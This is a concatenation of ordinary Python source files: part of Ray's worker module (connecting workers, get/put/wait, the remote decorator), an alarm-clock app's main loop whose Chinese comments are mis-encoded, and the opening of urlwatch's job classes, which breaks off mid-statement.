faulthandler.is_enabled(): faulthandler.enable(all_threads=False) except io.UnsupportedOperation: pass # ignore # Create a Redis client to primary. # The Redis client can safely be shared between threads. However, # that is not true of Redis pubsub clients. See the documentation at # https://github.com/andymccurdy/redis-py#thread-safety. worker.redis_client = node.create_redis_client() ray.state.state._initialize_global_state( node.redis_address, redis_password=node.redis_password) # Initialize some fields. if mode in (WORKER_MODE, RESTORE_WORKER_MODE, SPILL_WORKER_MODE, UTIL_WORKER_MODE): # We should not specify the job_id if it's `WORKER_MODE`. assert job_id is None job_id = JobID.nil() else: # This is the code path of driver mode. if job_id is None: job_id = ray.state.next_job_id() if mode is not SCRIPT_MODE and mode is not LOCAL_MODE and setproctitle: process_name = ray_constants.WORKER_PROCESS_TYPE_IDLE_WORKER if mode is SPILL_WORKER_MODE: process_name = ( ray_constants.WORKER_PROCESS_TYPE_SPILL_WORKER_IDLE) elif mode is RESTORE_WORKER_MODE: process_name = ( ray_constants.WORKER_PROCESS_TYPE_RESTORE_WORKER_IDLE) setproctitle.setproctitle(process_name) if not isinstance(job_id, JobID): raise TypeError("The type of given job id must be JobID.") # All workers start out as non-actors. A worker can be turned into an actor # after it is created. worker.node = node worker.set_mode(mode) # For driver's check that the version information matches the version # information that the Ray cluster was started with. try: ray._private.services.check_version_info(worker.redis_client) except Exception as e: if mode == SCRIPT_MODE: raise e elif mode == WORKER_MODE: traceback_str = traceback.format_exc() ray._private.utils.push_error_to_driver_through_redis( worker.redis_client, ray_constants.VERSION_MISMATCH_PUSH_ERROR, traceback_str, job_id=None) worker.lock = threading.RLock() driver_name = "" log_stdout_file_path = "" log_stderr_file_path = "" if mode == SCRIPT_MODE: import __main__ as main driver_name = (main.__file__ if hasattr(main, "__file__") else "INTERACTIVE MODE") elif not LOCAL_MODE: raise ValueError( "Invalid worker mode. Expected DRIVER, WORKER or LOCAL.") redis_address, redis_port = node.redis_address.split(":") gcs_options = ray._raylet.GcsClientOptions( redis_address, int(redis_port), node.redis_password, ) if job_config is None: job_config = ray.job_config.JobConfig() if namespace is not None: # The namespace field of job config may have already been set in code # paths such as the client. job_config.set_ray_namespace(namespace) serialized_job_config = job_config.serialize() worker.core_worker = ray._raylet.CoreWorker( mode, node.plasma_store_socket_name, node.raylet_socket_name, job_id, gcs_options, node.get_logs_dir_path(), node.node_ip_address, node.node_manager_port, node.raylet_ip_address, (mode == LOCAL_MODE), driver_name, log_stdout_file_path, log_stderr_file_path, serialized_job_config, node.metrics_agent_port, runtime_env_hash, worker_shim_pid) worker.gcs_client = worker.core_worker.get_gcs_client() # If it's a driver and it's not coming from ray client, we'll prepare the # environment here. If it's ray client, the environmen will be prepared # at the server side. if mode == SCRIPT_MODE and not job_config.client_job: runtime_env.upload_runtime_env_package_if_needed(job_config) elif mode == WORKER_MODE: # TODO(ekl) get rid of the env var hack and get runtime env from the # task spec and/or job config only. uris = os.environ.get("RAY_PACKAGING_URI") uris = [uris] if uris else \ worker.core_worker.get_job_config().runtime_env.uris working_dir = runtime_env.ensure_runtime_env_setup(uris) if working_dir is not None: os.chdir(working_dir) # Notify raylet that the core worker is ready. worker.core_worker.notify_raylet() if driver_object_store_memory is not None: worker.core_worker.set_object_store_client_options( f"ray_driver_{os.getpid()}", driver_object_store_memory) # Start the import thread if mode not in (RESTORE_WORKER_MODE, SPILL_WORKER_MODE, UTIL_WORKER_MODE): worker.import_thread = import_thread.ImportThread( worker, mode, worker.threads_stopped) worker.import_thread.start() # If this is a driver running in SCRIPT_MODE, start a thread to print error # messages asynchronously in the background. Ideally the scheduler would # push messages to the driver's worker service, but we ran into bugs when # trying to properly shutdown the driver's worker service, so we are # temporarily using this implementation which constantly queries the # scheduler for new error messages. if mode == SCRIPT_MODE: worker.listener_thread = threading.Thread( target=listen_error_messages_raylet, name="ray_listen_error_messages", args=(worker, worker.threads_stopped)) worker.listener_thread.daemon = True worker.listener_thread.start() if log_to_driver: global_worker_stdstream_dispatcher.add_handler( "ray_print_logs", print_to_stdstream) worker.logger_thread = threading.Thread( target=worker.print_logs, name="ray_print_logs") worker.logger_thread.daemon = True worker.logger_thread.start() if mode == SCRIPT_MODE: # Add the directory containing the script that is running to the Python # paths of the workers. Also add the current directory. Note that this # assumes that the directory structures on the machines in the clusters # are the same. # In client mode, if we use runtime env, then it'll be taken care of # automatically. script_directory = os.path.abspath(os.path.dirname(sys.argv[0])) worker.run_function_on_all_workers( lambda worker_info: sys.path.insert(1, script_directory)) if not job_config.client_job and len( job_config.get_runtime_env_uris()) == 0: current_directory = os.path.abspath(os.path.curdir) worker.run_function_on_all_workers( lambda worker_info: sys.path.insert(1, current_directory)) # TODO(rkn): Here we first export functions to run, then remote # functions. The order matters. For example, one of the functions to # run may set the Python path, which is needed to import a module used # to define a remote function. We may want to change the order to # simply be the order in which the exports were defined on the driver. # In addition, we will need to retain the ability to decide what the # first few exports are (mostly to set the Python path). Additionally, # note that the first exports to be defined on the driver will be the # ones defined in separate modules that are imported by the driver. # Export cached functions_to_run. for function in worker.cached_functions_to_run: worker.run_function_on_all_workers(function) worker.cached_functions_to_run = None # Setup tracing here if _internal_kv_get("tracing_startup_hook"): ray.util.tracing.tracing_helper._global_is_tracing_enabled = True if not getattr(ray, "__traced__", False): _setup_tracing = import_from_string( _internal_kv_get("tracing_startup_hook").decode("utf-8")) _setup_tracing() ray.__traced__ = True def disconnect(exiting_interpreter=False): """Disconnect this worker from the raylet and object store.""" # Reset the list of cached remote functions and actors so that if more # remote functions or actors are defined and then connect is called again, # the remote functions will be exported. This is mostly relevant for the # tests. worker = global_worker if worker.connected: # Shutdown all of the threads that we've started. TODO(rkn): This # should be handled cleanly in the worker object's destructor and not # in this disconnect method. worker.threads_stopped.set() if hasattr(worker, "import_thread"): worker.import_thread.join_import_thread() if hasattr(worker, "listener_thread"): worker.listener_thread.join() if hasattr(worker, "logger_thread"): worker.logger_thread.join() worker.threads_stopped.clear() worker._session_index += 1 global_worker_stdstream_dispatcher.remove_handler("ray_print_logs") worker.node = None # Disconnect the worker from the node. worker.cached_functions_to_run = [] worker.serialization_context_map.clear() try: ray_actor = ray.actor except AttributeError: ray_actor = None # This can occur during program termination if ray_actor is not None: ray_actor.ActorClassMethodMetadata.reset_cache() @contextmanager def _changeproctitle(title, next_title): if _mode() is not LOCAL_MODE: setproctitle.setproctitle(title) try: yield finally: if _mode() is not LOCAL_MODE: setproctitle.setproctitle(next_title) def show_in_dashboard(message, key="", dtype="text"): """Display message in dashboard. Display message for the current task or actor in the dashboard. For example, this can be used to display the status of a long-running computation. Args: message (str): Message to be displayed. key (str): The key name for the message. Multiple message under different keys will be displayed at the same time. Messages under the same key will be overridden. data_type (str): The type of message for rendering. One of the following: text, html. """ worker = global_worker worker.check_connected() acceptable_dtypes = {"text", "html"} assert dtype in acceptable_dtypes, ( f"dtype accepts only: {acceptable_dtypes}") message_wrapped = {"message": message, "dtype": dtype} message_encoded = json.dumps(message_wrapped).encode() worker.core_worker.set_webui_display(key.encode(), message_encoded) # Global variable to make sure we only send out the warning once. blocking_get_inside_async_warned = False @client_mode_hook def get(object_refs, *, timeout=None): """Get a remote object or a list of remote objects from the object store. This method blocks until the object corresponding to the object ref is available in the local object store. If this object is not in the local object store, it will be shipped from an object store that has it (once the object has been created). If object_refs is a list, then the objects corresponding to each object in the list will be returned. This method will issue a warning if it's running inside async context, you can use ``await object_ref`` instead of ``ray.get(object_ref)``. For a list of object refs, you can use ``await asyncio.gather(*object_refs)``. Args: object_refs: Object ref of the object to get or a list of object refs to get. timeout (Optional[float]): The maximum amount of time in seconds to wait before returning. Returns: A Python object or a list of Python objects. Raises: GetTimeoutError: A GetTimeoutError is raised if a timeout is set and the get takes longer than timeout to return. Exception: An exception is raised if the task that created the object or that created one of the objects raised an exception. """ worker = global_worker worker.check_connected() if hasattr( worker, "core_worker") and worker.core_worker.current_actor_is_asyncio(): global blocking_get_inside_async_warned if not blocking_get_inside_async_warned: logger.warning("Using blocking ray.get inside async actor. " "This blocks the event loop. Please use `await` " "on object ref with asyncio.gather if you want to " "yield execution to the event loop instead.") blocking_get_inside_async_warned = True with profiling.profile("ray.get"): is_individual_id = isinstance(object_refs, ray.ObjectRef) if is_individual_id: object_refs = [object_refs] if not isinstance(object_refs, list): raise ValueError("'object_refs' must either be an object ref " "or a list of object refs.") # TODO(ujvl): Consider how to allow user to retrieve the ready objects. values, debugger_breakpoint = worker.get_objects( object_refs, timeout=timeout) for i, value in enumerate(values): if isinstance(value, RayError): if isinstance(value, ray.exceptions.ObjectLostError): worker.core_worker.dump_object_store_memory_usage() if isinstance(value, RayTaskError): raise value.as_instanceof_cause() else: raise value if is_individual_id: values = values[0] if debugger_breakpoint != b"": frame = sys._getframe().f_back rdb = ray.util.pdb.connect_ray_pdb( None, None, False, None, debugger_breakpoint.decode() if debugger_breakpoint else None) rdb.set_trace(frame=frame) return values @client_mode_hook def put(value): """Store an object in the object store. The object may not be evicted while a reference to the returned ID exists. Args: value: The Python object to be stored. Returns: The object ref assigned to this value. """ worker = global_worker worker.check_connected() with profiling.profile("ray.put"): try: object_ref = worker.put_object(value) except ObjectStoreFullError: logger.info( "Put failed since the value was either too large or the " "store was full of pinned objects.") raise return object_ref # Global variable to make sure we only send out the warning once. blocking_wait_inside_async_warned = False @client_mode_hook def wait(object_refs, *, num_returns=1, timeout=None, fetch_local=True): """Return a list of IDs that are ready and a list of IDs that are not. If timeout is set, the function returns either when the requested number of IDs are ready or when the timeout is reached, whichever occurs first. If it is not set, the function simply waits until that number of objects is ready and returns that exact number of object refs. This method returns two lists. The first list consists of object refs that correspond to objects that are available in the object store. The second list corresponds to the rest of the object refs (which may or may not be ready). Ordering of the input list of object refs is preserved. That is, if A precedes B in the input list, and both are in the ready list, then A will precede B in the ready list. This also holds true if A and B are both in the remaining list. This method will issue a warning if it's running inside an async context. Instead of ``ray.wait(object_refs)``, you can use ``await asyncio.wait(object_refs)``. Args: object_refs (List[ObjectRef]): List of object refs for objects that may or may not be ready. Note that these IDs must be unique. num_returns (int): The number of object refs that should be returned. timeout (float): The maximum amount of time in seconds to wait before returning. fetch_local (bool): If True, wait for the object to be downloaded onto the local node before returning it as ready. If False, ray.wait() will not trigger fetching of objects to the local node and will return immediately once the object is available anywhere in the cluster. Returns: A list of object refs that are ready and a list of the remaining object IDs. """ worker = global_worker worker.check_connected() if hasattr(worker, "core_worker") and worker.core_worker.current_actor_is_asyncio( ) and timeout != 0: global blocking_wait_inside_async_warned if not blocking_wait_inside_async_warned: logger.debug("Using blocking ray.wait inside async method. " "This blocks the event loop. Please use `await` " "on object ref with asyncio.wait. ") blocking_wait_inside_async_warned = True if isinstance(object_refs, ObjectRef): raise TypeError( "wait() expected a list of ray.ObjectRef, got a single " "ray.ObjectRef") if not isinstance(object_refs, list): raise TypeError("wait() expected a list of ray.ObjectRef, " f"got {type(object_refs)}") if timeout is not None and timeout < 0: raise ValueError("The 'timeout' argument must be nonnegative. " f"Received {timeout}") for object_ref in object_refs: if not isinstance(object_ref, ObjectRef): raise TypeError("wait() expected a list of ray.ObjectRef, " f"got list containing {type(object_ref)}") worker.check_connected() # TODO(swang): Check main thread. with profiling.profile("ray.wait"): # TODO(rkn): This is a temporary workaround for # https://github.com/ray-project/ray/issues/997. However, it should be # fixed in Arrow instead of here. if len(object_refs) == 0: return [], [] if len(object_refs) != len(set(object_refs)): raise ValueError("Wait requires a list of unique object refs.") if num_returns <= 0: raise ValueError( "Invalid number of objects to return %d." % num_returns) if num_returns > len(object_refs): raise ValueError("num_returns cannot be greater than the number " "of objects provided to ray.wait.") timeout = timeout if timeout is not None else 10**6 timeout_milliseconds = int(timeout * 1000) ready_ids, remaining_ids = worker.core_worker.wait( object_refs, num_returns, timeout_milliseconds, worker.current_task_id, fetch_local, ) return ready_ids, remaining_ids @client_mode_hook def get_actor(name): """Get a handle to a named actor. Gets a handle to an actor with the given name. The actor must have been created with Actor.options(name="name").remote(). This works for both detached & non-detached actors. Returns: ActorHandle to the actor. Raises: ValueError if the named actor does not exist. """ if not name: raise ValueError("Please supply a non-empty value to get_actor") worker = global_worker worker.check_connected() handle = worker.core_worker.get_named_actor_handle(name) return handle @client_mode_hook def kill(actor, *, no_restart=True): """Kill an actor forcefully. This will interrupt any running tasks on the actor, causing them to fail immediately. ``atexit`` handlers installed in the actor will not be run. If you want to kill the actor but let pending tasks finish, you can call ``actor.__ray_terminate__.remote()`` instead to queue a termination task. Any ``atexit`` handlers installed in the actor *will* be run in this case. If the actor is a detached actor, subsequent calls to get its handle via ray.get_actor will fail. Args: actor (ActorHandle): Handle to the actor to kill. no_restart (bool): Whether or not this actor should be restarted if it's a restartable actor. """ worker = global_worker worker.check_connected() if not isinstance(actor, ray.actor.ActorHandle): raise ValueError("ray.kill() only supported for actors. " "Got: {}.".format(type(actor))) worker.core_worker.kill_actor(actor._ray_actor_id, no_restart) @client_mode_hook def cancel(object_ref, *, force=False, recursive=True): """Cancels a task according to the following conditions. If the specified task is pending execution, it will not be executed. If the task is currently executing, the behavior depends on the ``force`` flag. When ``force=False``, a KeyboardInterrupt will be raised in Python and when ``force=True``, the executing task will immediately exit. If the task is already finished, nothing will happen. Only non-actor tasks can be canceled. Canceled tasks will not be retried (max_retries will not be respected). Calling ray.get on a canceled task will raise a TaskCancelledError or a WorkerCrashedError if ``force=True``. Args: object_ref (ObjectRef): ObjectRef returned by the task that should be canceled. force (boolean): Whether to force-kill a running task by killing the worker that is running the task. recursive (boolean): Whether to try to cancel tasks submitted by the task specified. Raises: TypeError: This is also raised for actor tasks. """ worker = ray.worker.global_worker worker.check_connected() if not isinstance(object_ref, ray.ObjectRef): raise TypeError( "ray.cancel() only supported for non-actor object refs. " f"Got: {type(object_ref)}.") return worker.core_worker.cancel_task(object_ref, force, recursive) def _mode(worker=global_worker): """This is a wrapper around worker.mode. We use this wrapper so that in the remote decorator, we can call _mode() instead of worker.mode. The difference is that when we attempt to serialize remote functions, we don't attempt to serialize the worker object, which cannot be serialized. """ return worker.mode def make_decorator(num_returns=None, num_cpus=None, num_gpus=None, memory=None, object_store_memory=None, resources=None, accelerator_type=None, max_calls=None, max_retries=None, max_restarts=None, max_task_retries=None, runtime_env=None, worker=None): def decorator(function_or_class): if (inspect.isfunction(function_or_class) or is_cython(function_or_class)): # Set the remote function default resources. if max_restarts is not None: raise ValueError("The keyword 'max_restarts' is not " "allowed for remote functions.") if max_task_retries is not None: raise ValueError("The keyword 'max_task_retries' is not " "allowed for remote functions.") if num_returns is not None and (not isinstance(num_returns, int) or num_returns < 0): raise ValueError( "The keyword 'num_returns' only accepts 0 or a" " positive integer") if max_retries is not None and (not isinstance(max_retries, int) or max_retries < -1): raise ValueError( "The keyword 'max_retries' only accepts 0, -1 or a" " positive integer") if max_calls is not None and (not isinstance(max_calls, int) or max_calls < 0): raise ValueError( "The keyword 'max_calls' only accepts 0 or a positive" " integer") return ray.remote_function.RemoteFunction( Language.PYTHON, function_or_class, None, num_cpus, num_gpus, memory, object_store_memory, resources, accelerator_type, num_returns, max_calls, max_retries, runtime_env) if inspect.isclass(function_or_class): if num_returns is not None: raise TypeError("The keyword 'num_returns' is not " "allowed for actors.") if max_calls is not None: raise TypeError("The keyword 'max_calls' is not " "allowed for actors.") if max_restarts is not None and (not isinstance(max_restarts, int) or max_restarts < -1): raise ValueError( "The keyword 'max_restarts' only accepts -1, 0 or a" " positive integer") if max_task_retries is not None and (not isinstance( max_task_retries, int) or max_task_retries < -1): raise ValueError( "The keyword 'max_task_retries' only accepts -1, 0 or a" " positive integer") return ray.actor.make_actor(function_or_class, num_cpus, num_gpus, memory, object_store_memory, resources, accelerator_type, max_restarts, max_task_retries, runtime_env) raise TypeError("The @ray.remote decorator must be applied to " "either a function or to a class.") return decorator def remote(*args, **kwargs): """Defines a remote function or an actor class. This can be used with no arguments to define a remote function or actor as follows: .. code-block:: python @ray.remote def f(): return 1 @ray.remote class Foo: def method(self): return 1 It can also be used with specific keyword arguments as follows: .. code-block:: python @ray.remote(num_gpus=1, max_calls=1, num_returns=2) def f(): return 1, 2 @ray.remote(num_cpus=2, resources={"CustomResource": 1}) class Foo: def method(self): return 1 Remote task and actor objects returned by @ray.remote can also be dynamically modified with the same arguments as above using ``.options()`` as follows: .. code-block:: python @ray.remote(num_gpus=1, max_calls=1, num_returns=2) def f(): return 1, 2 g = f.options(num_gpus=2, max_calls=None) @ray.remote(num_cpus=2, resources={"CustomResource": 1}) class Foo: def method(self): return 1 Bar = Foo.options(num_cpus=1, resources=None) Running remote actors will be terminated when the actor handle to them in Python is deleted, which will cause them to complete any outstanding work and then shut down. If you want to kill them immediately, you can also call ``ray.kill(actor)``. Args: num_returns (int): This is only for *remote functions*. It specifies the number of object refs returned by the remote function invocation. num_cpus (float): The quantity of CPU cores to reserve for this task or for the lifetime of the actor. num_gpus (int): The quantity of GPUs to reserve for this task or for the lifetime of the actor. resources (Dict[str, float]): The quantity of various custom resources to reserve for this task or for the lifetime of the actor. This is a dictionary mapping strings (resource names) to floats. accelerator_type: If specified, requires that the task or actor run on a node with the specified type of accelerator. See `ray.accelerators` for accelerator types. max_calls (int): Only for *remote functions*. This specifies the maximum number of times that a given worker can execute the given remote function before it must exit (this can be used to address memory leaks in third-party libraries or to reclaim resources that cannot easily be released, e.g., GPU memory that was acquired by TensorFlow). By default this is infinite. max_restarts (int): Only for *actors*. This specifies the maximum number of times that the actor should be restarted when it dies unexpectedly. The minimum valid value is 0 (default), which indicates that the actor doesn't need to be restarted. A value of -1 indicates that an actor should be restarted indefinitely. max_task_retries (int): Only for *actors*. How many times to retry an actor task if the task fails due to a system error, e.g., the actor has died. If set to -1, the system will retry the failed task until the task succeeds, or the actor has reached its max_restarts limit. If set to `n > 0`, the system will retry the failed task up to n times, after which the task will throw a `RayActorError` exception upon :obj:`ray.get`. Note that Python exceptions are not considered system errors and will not trigger retries. max_retries (int): Only for *remote functions*. This specifies the maximum number of times that the remote function should be rerun when the worker process executing it crashes unexpectedly. The minimum valid value is 0, the default is 4 (default), and a value of -1 indicates infinite retries. runtime_env (Dict[str, Any]): Specifies the runtime environment for this actor or task and its children. See :ref:`runtime-environments` for detailed documentation. override_environment_variables (Dict[str, str]): (Deprecated in Ray 1.4.0, will be removed in Ray 1.5--please use the ``env_vars`` field of :ref:`runtime-environments` instead.) This specifies environment variables to override for the actor or task. The overrides are propagated to all child actors and tasks. This is a dictionary mapping variable names to their values. Existing variables can be overridden, new ones can be created, and an existing variable can be unset by setting it to an empty string. Note: can only be set via `.options()`. """ worker = global_worker if len(args) == 1 and len(kwargs) == 0 and callable(args[0]): # This is the case where the decorator is just @ray.remote. return make_decorator(worker=worker)(args[0]) # Parse the keyword arguments from the decorator. valid_kwargs = [ "num_returns", "num_cpus", "num_gpus", "memory", "object_store_memory", "resources", "accelerator_type", "max_calls", "max_restarts", "max_task_retries", "max_retries", "runtime_env" ] error_string = ("The @ray.remote decorator must be applied either " "with no arguments and no parentheses, for example " "'@ray.remote', or it must be applied using some of " f"the arguments in the list {valid_kwargs}, for example " "'@ray.remote(num_returns=2, " "resources={\"CustomResource\": 1})'.") assert len(args) == 0 and len(kwargs) > 0, error_string for key in kwargs: assert key in valid_kwargs, error_string num_cpus = kwargs["num_cpus"] if "num_cpus" in kwargs else None num_gpus = kwargs["num_gpus"] if "num_gpus" in kwargs else None resources = kwargs.get("resources") if not isinstance(resources, dict) and resources is not None: raise TypeError("The 'resources' keyword argument must be a " f"dictionary, but received type {type(resources)}.") if resources is not None: assert "CPU" not in resources, "Use the 'num_cpus' argument." assert "GPU" not in resources, "Use the 'num_gpus' argument." accelerator_type = kwargs.get("accelerator_type") # Handle other arguments. num_returns = kwargs.get("num_returns") max_calls = kwargs.get("max_calls") max_restarts = kwargs.get("max_restarts") max_task_retries = kwargs.get("max_task_retries") memory = kwargs.get("memory") object_store_memory = kwargs.get("object_store_memory") max_retries = kwargs.get("max_retries") runtime_env = kwargs.get("runtime_env") return make_decorator( num_returns=num_returns, num_cpus=num_cpus, num_gpus=num_gpus, memory=memory, object_store_memory=object_store_memory, resources=resources, accelerator_type=accelerator_type, max_calls=max_calls, max_restarts=max_restarts, max_task_retries=max_task_retries, max_retries=max_retries, runtime_env=runtime_env, worker=worker)
app.py
# coding: utf-8 '''็จ‹ๅบไธป่ฆ้ƒจๅˆ†''' # ๅค–้ƒจไพ่ต– import datetime import threading # libraryไพ่ต– from sine.utils import ReStartableThread # ๆœฌๅœฐไพ่ต– from .globalData import clocks, data, config, eManager from .mydatetime import getNow from . import initUtil from . import player from . import mylogging from . import manager from . import userInterface logger = mylogging.getLogger(__name__) alarmInterval = datetime.timedelta(0, config['alarm_interval']) alarmLast = config['alarm_last'] # ็›‘ๅฌ็บฟ็จ‹๏ผŒๆฃ€ๆŸฅๅนถๆ›ดๆ–ฐ้—น้’Ÿ็Šถๆ€ def _listen(stop_event): startTime = None prev = getNow() minGap = datetime.timedelta(0, 300) # ่ถ…่ฟ‡300็ง’๏ผŒ่ฎคไธบๆ˜ฏ็ก็œ /ๅพ…ๆœบๅ”ค้†’ while not stop_event.wait(0.1): # ๆฃ€ๆŸฅ็ก็œ ๅ”ค้†’ๅ’Œ่ทจ่ถŠๅ‡Œๆ™จ cur = getNow() gap = cur - prev if gap >= minGap: eManager.sendEvent('time_leap', {'gap':gap}) stop_event.wait(1) # sleep elif datetime.datetime.date(cur) != datetime.datetime.date(prev): eManager.sendEvent('cross_day') prev = cur # ่Žทๅ–้œ€่ฆ้—น้“ƒๆ้†’็š„้—น้’Ÿ reminds = manager.getReminds() length = len(reminds) player.play(reminds[-1]['sound'] if length else None) # ๅ“้“ƒ็Šถๆ€ๅˆ‡ๆข if startTime == None and length: startTime = getNow() eManager.sendEvent('alarm.start') if startTime and not length: startTime = None eManager.sendEvent('alarm.stop') if startTime and (getNow() - startTime).seconds > alarmLast: startTime = None eManager.sendEvent('alarm.timeout') logger.info('listenThread exit') return listenThread = ReStartableThread(target=_listen) # ๆ‰˜็›˜ๅ›พๆ ‡ ----------------- try: from .trayIcon import createIcon, deleteIcon except Exception as e: initUtil.warn(u'ไธๆ”ฏๆŒๆ‰˜็›˜ๅ›พๆ ‡๏ผˆๅŒ…ๆ‹ฌๆถˆๆฏๆ็คบ๏ผ‰ใ€‚', e) createIcon = deleteIcon = initUtil.doNothing data['show_msg'] = False # ไปปๅŠกๆ ้—ช็ƒ ----------------- try: if config['taskbar_flash']: from .winUtil import flash, stopFlash, show as show_window eManager.addListener('alarm.start', lambda data:flash(3, alarmLast, 500)) eManager.addListener('alarm.stop', lambda data:stopFlash()) except ImportError as e: initUtil.warn(u'ไธๆ”ฏๆŒไปปๅŠกๆ ้—ช็ƒใ€‚', e) flash = stopFlash = show_window = initUtil.doNothing # ๅ“้“ƒ่ถ…ๆ—ถๅปถ่ฟŸๆ้†’ eManager.addListener('alarm.timeout', lambda data:manager.later(getNow() + alarmInterval)) # ๅœๆญขๅ“้“ƒ eManager.addListener('alarm.stop', lambda data:player.play(None)) eManager.addListener('alarm.timeout', lambda data:player.play(None)) # ้€€ๅ‡บไบ‹ไปถ quitEvent = threading.Event() eManager.addListener('quit', lambda *args:quitEvent.set()) def mainLoop(): # ๅˆๅง‹ๅŒ– if config['warning_pause']: initUtil.warning_pause() eManager.clear() eManager.start() createIcon() listenThread.start() uiLoop = ReStartableThread(target=lambda stop_event:userInterface.mainLoop()) uiLoop.start() # ้˜ปๅกž็ญ‰ๅพ…้€€ๅ‡บไบ‹ไปถ logger.info('started') quitEvent.clear() quitEvent.wait() logger.info('begin quit') # ้€€ๅ‡บๆธ…็† show_window(1) initUtil.reset() eManager.stop() deleteIcon() listenThread.stop(1) stopFlash() player.play(None) logger.info('exit')
jobs.py
# -*- coding: utf-8 -*- # # This file is part of urlwatch (https://thp.io/2008/urlwatch/). # Copyright (c) 2008-2019 Thomas Perl <m@thp.io> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES # OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT # NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF # THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import email.utils import hashlib import logging import os import re import subprocess import threading import requests import textwrap import urlwatch from requests.packages.urllib3.exceptions import InsecureRequestWarning from .util import TrackSubClasses requests.packages.urllib3.disable_warnings(InsecureRequestWarning) logger = logging.getLogger(__name__) class ShellError(Exception): """Exception for shell commands with non-zero exit code""" def __init__(self, result): Exception.__init__(self) self.result = result def __str__(self): return '%s: Exit status %d' % (self.__class__.__name__, self.result) class NotModifiedError(Exception): """Exception raised on HTTP 304 responses""" ... class JobBase(object, metaclass=TrackSubClasses): __subclasses__ = {} __required__ = () __optional__ = () def __init__(self, **kwargs): # Set optional keys to None for k in self.__optional__: if k not in kwargs: setattr(self, k, None) # Fail if any required keys are not provided for k in self.__required__: if k not in kwargs: raise ValueError('Required field %s missing: %r' % (k, kwargs)) for k, v in list(kwargs.items()): setattr(self, k, v) @classmethod def job_documentation(cls): result = [] for sc in TrackSubClasses.sorted_by_kind(cls): if sc.__doc__: result.append(' * %s - %s' % (sc.__kind__, sc.__doc__)) else: result.append(' * %s' % (sc.__kind__,)) for msg, value in ((' Required keys: ', sc.__required__), (' Optional keys: ', sc.__optional__)): if value: values = ('\n' + (len(msg) * ' ')).join(textwrap.wrap(', '.join(value), 79 - len(msg))) result.append('%s%s' % (msg, values)) result.append('') return '\n'.join(result) def get_location(self): raise NotImplementedError() def pretty_name(self): raise NotImplementedError() def serialize(self): d = {'kind': self.__kind__} d.update(self.to_dict()) return d @classmethod def unserialize(cls, data): if 'kind' not in data: # Try to auto-detect the kind of job based on the available keys kinds = [subclass.__kind__ for subclass in list(cls.__subclasses__.values()) if all(required in data for required in subclass.__required__) and not any( key not in subclass.__required__ and key not in subclass.__optional__ for key in data)] if len(kinds) == 1: kind = kinds[0] elif len(kinds) == 0: raise ValueError('Kind is not specified, and no job matches: %r' % (data,)) else: raise ValueError('Multiple kinds of jobs match %r: %r' % (data, kinds)) else: kind = data['kind'] return cls.__subclasses__[kind].from_dict(data) def to_dict(self): return {k: getattr(self, k) for keys in (self.__required__, self.__optional__) for k in keys if getattr(self, k) is not None} @classmethod def from_dict(cls, data): return cls(**{k: v for k, v in list(data.items()) if k in cls.__required__ or k in cls.__optional__}) def __repr__(self): return '<%s %s>' % (self.__kind__, ' '.join('%s=%r' % (k, v) for k, v in list(self.to_dict().items()))) def _set_defaults(self, defaults): if isinstance(defaults, dict): for key, value in defaults.items(): if key in self.__optional__ and getattr(self, key) is None: setattr(self, key, value) def with_defaults(self, config): new_job = JobBase.unserialize(self.serialize()) cfg = config.get('job_defaults') if isinstance(cfg, dict): new_job._set_defaults(cfg.get(self.__kind__)) new_job._set_defaults(cfg.get('all')) return new_job def get_guid(self): location = self.get_location() sha_hash = hashlib.new('sha1') sha_hash.update(location.encode('utf-8')) return sha_hash.hexdigest() def request_resources(self, resources): """Request external resources. Check if required resources is available in `resources` (a dict). If not, request resources and save them in `resources`. Keys for resources should typically be `self` or class, depending on the shared or exclusive nature of the resource. This method should be called sequentially on the main thread to ensure success. Args: resources: A dict storing external resources. """ ... def release_resources(self, resources): """Release external resources requested in `request_resources`.""" ... def retrieve(self, job_state): raise NotImplementedError() def format_error(self, exception, tb): return tb def ignore_error(self, exception): return False class Job(JobBase): __required__ = () __optional__ = ('name', 'filter', 'max_tries', 'diff_tool', 'compared_versions') # determine if hyperlink "a" tag is used in HtmlReporter LOCATION_IS_URL = False def pretty_name(self): return self.name if self.name else self.get_location() class ShellJob(Job): """Run a shell command and get its standard output""" __kind__ = 'shell' __required__ = ('command',) __optional__ = () def get_location(self): return self.command def retrieve(self, job_state): process = subprocess.Popen(self.command, stdout=subprocess.PIPE, shell=True) stdout_data, stderr_data = process.communicate() result = process.wait() if result != 0: raise ShellError(result) return stdout_data.decode('utf-8') class UrlJob(Job): """Retrieve an URL from a web server""" __kind__ = 'url' __required__ = ('url',) __optional__ = ('cookies', 'data', 'method', 'ssl_no_verify', 'ignore_cached', 'http_proxy', 'https_proxy', 'headers', 'ignore_connection_errors', 'ignore_http_error_codes', 'encoding', 'timeout', 'ignore_timeout_errors', 'ignore_too_many_redirects') LOCATION_IS_URL = True CHARSET_RE = re.compile('text/(html|plain); charset=([^;]*)') def get_location(self): return self.url def retrieve(self, job_state): headers = { 'User-agent': urlwatch.__user_agent__, } proxies = { 'http': os.getenv('HTTP_PROXY'), 'https': os.getenv('HTTPS_PROXY'), } if job_state.etag is not None: headers['If-None-Match'] = job_state.etag if job_state.timestamp is not None: headers['If-Modified-Since'] = 